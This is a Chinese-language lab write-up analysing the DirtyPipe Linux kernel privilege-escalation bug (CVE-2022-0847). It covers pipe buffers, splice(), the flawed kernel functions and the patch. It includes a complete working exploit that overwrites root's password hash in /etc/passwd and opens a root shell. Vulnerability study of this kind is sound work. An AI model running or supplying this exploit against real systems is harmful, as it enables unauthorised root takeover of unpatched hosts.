DirtyPipe(CVE-2022-0847),脏管漏洞,攻击者可以利用该漏洞实现低权限用户提升至 root 权限,且能对主机任意可读文件进行读写。这是Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe() 和 push_pipe() 函数中缺乏正确的初始化。
该漏洞在原理上与2016年10月18日由黑客 Phil Oester 提出的 “Dirty Cow”脏牛漏洞类似,其本质上是由于 Kernel 内核中编写的匿名管道限制不严导致的问题,两个漏洞触发的点都在于linux内核对文件读写操作的优化(写时拷贝/零拷贝),所以将其命名为 “DirtyPipe”,中文音译为:脏管漏洞或脏管道漏洞。
值得注意的是, 该内核漏洞不仅影响了linux各个发行版, Android或其他使用linux内核的IoT系统同样会受到影响。
本实验分为概述、实验环境介绍、DirtyPipe(CVE-2022-0847) 漏洞复现分析、漏洞防范与补丁分析和总结几个部分。
希望通过本次详细的分析,能够锻炼自己的漏洞分析和剖析问题原理的的能力,同时提升发现漏洞、挖掘漏洞和处理漏洞的思维,为以后的工作打下良好的基础。
高危(CVSS 评分7.8)
利用难度::容易
类型:LPE
远程利用:否
威胁等级: 高危
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
CentOS 8 默认内核版本受该漏洞影响
CentOS 7 及以下版本不受影响
虚拟机:Linux kali 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
内核版本:5.01.28
调试工具:gcc
2022年3月7日,安全研究员 Max Kellermann提出一个 Linux 内核提权漏洞 CVE-2022-0847,攻击者可以利用该漏洞实现低权限用户提升至 root 权限,且能对主机任意可读文件进行读写。该漏洞在原理上与2016年10月18日由黑客 Phil Oester 提出的 “Dirty Cow”脏牛漏洞类似,由于本质上是由于 Kernel 内核中编写的匿名管道限制不严导致的问题。
它允许覆盖任意只读文件中的数据,非特权用户通过替换/etc/passwd文件中root用户的hash值达到权限提升的目的。
在3月7日, 漏洞发现者Max Kellermann详细披露了该漏洞细节以及完整POC。Paper中不光解释了该漏洞的触发原因, 还说明了发现漏洞的故事, 以及形成该漏洞的内核代码演变过程, 由浅入深,非常适合深入研究学习。
• 管道(Pipe)是一种经典的进程间通信方式, 它包含一个输入端和一个输出端, 程序将数据从一段输入, 从另一端读出。
图1 linux中的的管道机制
• 在内核中, 为了实现这种数据通信,需要以页面(Page)为单位维护一个环形缓冲区(被称为ring_buffer), 里面存了16个pipe_buf结构,每个pipe_buf结构又有一个指针指向一个表示物理内存页Page的结构体。每个Page大小为4KB,页面之间并不连续,而是通过数组进行管理,形成一个环形链表。维护两个链表指针,一个用来写(pipe->head),一个用来读(pipe->tail),可以被循环利用(即当当前页面带有PIPE_BUF_FLAG_CAN_MERGE flag时将标记且续写后的数据长度不超过一页时,可以进行续写)。
//C
// >>> include/linux/pipe_fs_i.h:17
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
• 管道可以分为命名管道和匿名管道。命名管道是一个有名字的实体文件,匿名管道就是我们常使用的管道符创建的管道。本质上来讲,管道就是一种进程间的通信手段,让两个进程可以通过pipe发送和接收数据。
图2 管道工作示意图
Page Cache即缓存管理机制,我们知道,磁盘的IO读写速度是很慢的,所以一般当我们访问一个磁盘文件的时候,首先操作系统会将其内容装载到内存中,后续的访问都是直接取内存中的副本来读取数据。因为一个文件的内存副本,后续可能会被很多进程打开和使用。为了保证大家都能快速的访问,Linux设计了这样一个Page Cache机制管理物理内存中映射的页框。如果用户进程使用read/write读写文件,那么内核会先将载入数据的物理内存映射到内核虚拟内存buffer。然后再将内核的buffer数据拷贝到用户态。
如果追求效率,内核也提供一种零拷贝模式(不发生系统调用,跨越用户和内核的边界做上下文切换)。用户进程可以使用mmap直接将用户态的buffer 映射到 物理内存,不需要进行系统调用,直接访问自己的mmap区域即可访问到那段物理内存内容。
在Linux中,不光是文件使用了Page cache, 前面提到的Pipe也用到了Page Cache机制。在内核中,pipe有一个大小为16的ring buffer数组,里面存了16个pipe_buf结构,每个pipe_buf结构又有一个指针指向一个表示物理内存页Page的结构体。每个Page大小为4KB,且不连续存放。这也说明管道一般大小为4KB*16。
splice 函数(系统调用)通过一种"零拷贝"的方法将文件内容输送到管道之中,相比传统的直接将文件内容送入管道性能更好。
比如在linux下实现文件的拷贝,用户调用splice()函数使用了 pipe 机制,从而不需要硬件的支持就能实现两个 fd 间的零拷贝。它也只涉及 2 次上下⽂切换,2 次 DMA 拷⻉。效率要比我们使用传统的read()/write()效率高。
图3 linux下的splice()拷贝
//C代码
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include
ssize_t splice(int fd_in, off64_t *off_in, int fd_out,
off64_t *off_out, size_t len, unsigned int flags);
/*
splice() moves data between two file descriptors without copying
between kernel address space and user address space. It
transfers up to len bytes of data from the file descriptor fd_in
to the file descriptor fd_out, where one of the file descriptors
must refer to a pipe.
*/
• splice()用于在两个文件描述符之间移动数据,即零拷贝。
• fd_in参数是待输入描述符。如果它是一个管道文件描述符,则off_in必须设置为NULL;否则off_in表示从输入数据流的何处开始读取,此时若为NULL,则从输入数据流的当前偏移位置读入。
• fd_out/off_out与上述相同,不过是用于输出。len参数指定移动数据的长度。flags参数则控制数据如何移动:
• SPLICE_F_NONBLOCK:splice操作不会被阻塞。然而,如果文件描述符没有被设置为不可被阻塞方式的 I/O ,那么调用 splice 有可能仍然被阻塞。
• SPLICE_F_MORE:告知操作系统内核下一个 splice 系统调用将会有更多的数据传来。
• SPLICE_F_MOVE:如果输出是文件,这个值则会使得操作系统内核尝试从输入管道缓冲区直接将数据读入到输出地址空间,这个数据传输过程没有任何数据拷贝操作发生。
• 使用splice时, fd_in和fd_out中必须至少有一个是管道文件描述符,否则将会报错。
因为本次实验是通过篡改/etc/passwd文件的内容实现提权到root,所以了解Linux密码配置文件的格式很有必要。
图5 /etc/passwd文件密码存储格式
在作者的paper中可以了解到, 发现该漏洞的起因不是因为专门的漏洞挖掘工作, 而是关于日志服务器多次出现的文件错误, 用户下载的包含日志的gzip文件多次出现CRC校验位错误, 排查后发现CRC校验位总是被一段ZIP头覆盖。
根据作者介绍, 可以生成ZIP文件的只有主服务器的一个负责HTTP连接的服务(为了兼容windows用户, 需要把gzip封包即时封包为ZIP文件), 而该服务没有写入gzip文件的权限。
即主服务器同时存在一个writer进程与一个splicer进程, 两个进程以不同的用户身份运行, splicer进程并没有写入writer进程目标文件的权限, 但存在splicer进程的数据写入文件的bug存在。
splice()系统调用将包含文件的页面缓存(page cache),链接到pipe的环形缓冲区(pipe_buffer)时,在copy_page_to_iter_pipe 和 push_pipe函数中未能正确清除页面的"PIPE_BUF_FLAG_CAN_MERGE"属性,导致后续进行pipe_write()操作时错误的判定"write操作可合并(merge)“,从而将非法数据写入文件页面缓存,导致任意文件覆盖漏洞。
简单来说就是调用splice 函数可以通过"零拷贝"的形式将文件发送到pipe,代码层面的零拷贝是直接将文件缓存页(page cache)作为pipe 的buf页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而,在这种情况下,因为没有其他可写权限的程序进行write操作,所以内核并不会将这个缓存页判定为"脏页”,短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。可以完成本地提权。
splice 函数(系统调用)通过一种"零拷贝"的方法将文件内容输送到管道之中,相比传统的直接将文件内容送入管道性能更好。
splice()源代码。调用链接为:
C
//code:fs/splice.c
SYSCALL_DEFINE6(splice...)
->__do_splice->do_splice...
->copy_page_to_iter
-> copy_page_to_iter_pipe
调用链比较复杂,但是最终的实现在copy_page_to_iter_pipe()中,即漏洞所在位置。copy_page_to_iter_pipe()函数会将文件的缓存页拷贝替换给pipe的缓存页。在分析copy_page_to_iter_pipe()函数之前,先看管道写的机制。
pipe_write()源码:
//C
//fs/pipe.c
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
...
/*
* If it wasn't empty we try to merge new data into
* the last buffer.
*
* That naturally merges small writes, but it also
* page-aligns the rest of the writes for large writes
* spanning multiple pages.
*/
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//如果缓存页不为空 (要走进这个分支,说明我们得提前把pipe申请满一遍,然后再将内容都读完,保留buf结构体)
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;//接着写cache的位置
//如果pipe_buf的Flag为PIPE_BUF_FLAG_CAN_MERGE(初始化时设置的), 则允许在当前页面续写
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) {
//如果续写不会引发写跨页,则写入。否则goto out, 那里会分配一个新的内存页来装数据。
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
//将数据从用户传来的from, 拷贝到 pipe_buf->page
//这里的pipe_buf->page 和 攻击目标的只读文件 共享 缓存页!
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
...
}
程序分析:
//C代码
// Code: lib/iov_iter.c
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
//获取当前bufs数组中 写入index的pipe_buf
buf = &pipe->bufs[i_head & p_mask];
if (off) {
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
//buf->flag的默认值是 PIPE_BUF_FLAG_CAN_MERGE
//这里没有将 buf->flag 设置为 0,漏洞点!后面会提到
buf->ops = &page_cache_pipe_buf_ops;
//获取文件的缓存页,存放到page里。
get_page(page);
//将pipe的page指向文件的缓存page
buf->page = page;
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
程序分析:
我们以一个实例来更清晰的理解上述原理。
比如当我们要篡改一个只读权限的文件,如 /etc/passwd。POC的思路大概为以下5个步骤。
//C代码
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
*创建一个管道,其中pipe_inode_info环上的所有“bufs”都具有初始化PIPE_BUF_FLAG_CAN_MERGE flag.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/*完全填充管道;每个pipe_buffer现在将拥PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/*排空管道,释放所有pipe_buffer实例(但是保留标志初始化)*/
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/*管道现在是空的,如果有人添加了一个新的pipe_buffer而不初始化其“标志”,缓冲区将可合并*/
}
int main(int argc, char **argv) {
//将要篡改的目标文件
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
//构造要写入管道,也即目标文件缓存页的payload,这里是将 /etc/passwd下root用户的口令修改为arron,
//在Linux系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。
//Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,所以且将其hash值写入,这里采用MD5加密
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 根据密码配置文件的格式构造的payload
printf("Setting root password to \"aaron\"...");
const size_t data_size = strlen(data);
//如果偏移为0,代表写入点刚好在页边界上,因为页上至少有一个字节已经拼接到管道中
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
//写入不能跨过页边界,因为这将为其余部分创建一个新的匿名缓冲区,而该缓冲区将不再对应我们要写入的目标文件缓存页
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/*打开输入文件并验证指定的偏移量*/
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/*创建管道,其中所有标志都初始化为PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* 将指定偏移量之前的一个字节拼接到管道;这将添加对页面缓存的引用,但是因为 copy_page_to_iter_pipe() 不初始化"flags", PIPE_BUF_FLAG_CAN_MERGE 的状态依然有效 */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/*以下写入操作不会创建新的pipe_buffer,而是会写入页面缓存,因为PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
//将刚才写的/tmp/passwd覆盖到/etc/passwd,创建备份文件
system("/bin/sh -c '(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell...\\\";"
"sleep 2;"
"echo \\\"(run commands now)\\\";"
"/bin/sh;" // one shold work
"\" root'");
return EXIT_SUCCESS;
}
将3.4所编写的poc在kali上编译运行。
首先查看linux内核,然后运行脚本。
图6 poc执行示意图
上图中,我们已经从普通用户权限提权至管理员root权限,从而可以执行任意命令。
可以具体通过以下命令排查范围:
uname -a
因为该漏洞属于内核漏洞,查看当前使用的内核版本,如果该版本在大于5.8则需要更新内核版本到对应的 5.16.11/5.15.25/5.10.102 及之后版本。
通过分析linux内核补丁,发现补丁增加了对copy_page_to_iter_pipe()和push_pipe()函数中buf->flags的初始化操作,因此推定Dirtypipe漏洞本质上为变量未初始化漏洞。
图7 漏洞补丁关键代码